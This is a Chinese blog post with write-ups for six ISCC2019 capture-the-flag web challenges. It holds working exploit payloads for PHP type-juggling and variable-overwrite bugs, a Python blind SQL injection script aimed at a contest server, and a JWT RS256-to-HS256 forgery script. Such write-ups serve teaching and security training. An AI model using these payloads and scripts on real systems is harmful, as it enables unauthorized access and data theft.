ISCC2019 Web Writeup

web1

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

首先要求我们传入的数组value经过chr函数转为ascii拼接后构成w3lc0me_To_ISCC2019字符串,但$value[$i] > 32 && $value[$i] < 127部分代码限制了数组的键值的范围,这就与构成字符的要求矛盾。这时候可以利用chr()函数的自动取模功能进行绕过,当参数大于256时,chr函数会对输入的数字自动取模256,所以我们在原数组上每个键值增加256就行了。

最后一个if语句看似很矛盾intval($password) < 2333 && intval($password + 1) > 2333)。给intval()传入十六进制字符串或者科学计数法表示的字符串时,intval会出错为0。但+1后intval参数已经转换为十进制数字,可绕过if判断。

payload:?value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313&password=0xbbb

web2

打开链接是一个登录界面,要我们爆破admin的三位数密码。主要难点是绕过验证码,这道题的验证码生成是基于cookie的。将phpsessid清空就可绕过验证码直接进行密码爆破

web3

一道二次注入,注册admin'***#形式的用户名,密码随意,然后登进去修改密码,此时修改的密码即为admin的密码,登录admin getflag。猜测修改密码部分后台代码update users set password='?' where username='?'

web4

又一道代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}

if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("<img src='cxk.jpg'>");
}

echo $flag;
}
}else{
show_source(__FILE__);
}?>

看到parse_str函数,变量覆盖的老朋友了。。。随便给key赋个值,然后将key sha256加密后的值覆盖变量hashed_key的值

payload?/?action=auth&key=1&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

web5

感觉有点脑洞啊……
主页说我不是Union.373的成员(虽然我确实不是),很长一段时间没找到突破口。最后在User-Agent后加上Union.373就进去了。嗯???

接着要我们输入用户名和密码,直接postusername=admin&password=admin得到提示:flag为成员的密码
通过payloadusername='\*/\*&password=*/'可以得到成员的用户名,然后进行注入
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#coding = utf-8
import binascii
import requests

url = "http://39.100.83.188:8054/"
def http_get(payload):
str_16 = binascii.b2a_hex(payload.encode('utf-8'))
payload = "username=union_373_Tom' union all select 1,2,0x" + str_16.decode() + " /*&password=*/ order by 3,2,'1"
headers = {
'user-agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Union.373",
'Content-Type': "application/x-www-form-urlencoded"
}

response = requests.post(url, data=payload, headers=headers)
response.encoding = 'utf-8'

if '组织欢迎你,2!' in response.text:
return False
else:
return True

flag = ''

while True:
for i in range(33,127):
temp_str=chr(i)
print('\rflag-->'+flag+temp_str,end='',flush=True)
if http_get(flag + temp_str):
break
if temp_str==chr(33):
break
flag += chr(ord(temp_str) - 1)

web6

老规矩先注册,再登录。登上去发现header中多了这么个玩意儿

iscc99后面是一段JWT,猜测本题是考JWT攻击。到https://jwt.io解一下

发现网页中有这样一个接口

末尾处是一段公钥加密代码

1
2
3
4
5
6
function getpubkey(){
/*
get the pubkey for test
/pubkey/{md5(username+password)}
*/
}

依据此加密方式可知我的公钥地址:/pubkey/a3cd2d4c60cad6118c24e081238c007e(账号密码均为cryscat)
得到公钥:

—–BEGIN PUBLIC KEY—–\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n—–END PUBLIC KEY—–

RS256算法使用私钥对消息进行签名并使用公钥进行身份验证,而HS256算法使用密钥为所有消息进行签名和验证。如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。所以在这里我们考虑将RS256算法改为HS256(非对称密码算法=>对称密码算法)来达到pubkey任意访问的目的。

将priv改为admin,加密脚本:

1
2
3
import jwt
pubkey = '-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----'
print(jwt.encode({"name": "cryscat","priv": "admin"}, key=pubkey, algorithm='HS256'))

得到我们的可利用JWT

换上这段JWT去访问list可以看到很多用户留下的链接

common.js接口中给出了链接信息的查看方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function getlist(){
token = window.localStorage.getItem("token");
if (token==null||token==undefined){
alert("u must login first");
window.location.href = "/";
return;
}
auth = "iscc19 " + token;
$.ajax({
url: '/list',
type: 'GET',
headers:{"Authorization":auth},
})
.success(function(data) {
result = data.result;
if(result){
content = "the user " + data.username +" has these links:\n";
for (var i in data.links){
content = content + "/text/" + data.links[i] + "\n";
}
alert(content);
}else{
alert("list fail");
}
});
}

其中有一条是admin的,应该就是flag的所在之处了,即访问/text/admin:22f1e0aa7a31422ad63480aa27711277getflag

文章作者: Cryscat
文章链接: http://www.cryscat.com/2019/05/22/ISCC2019-Web-Writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Cryscat's Blog
打赏
  • 微信
  • 支付宝

评论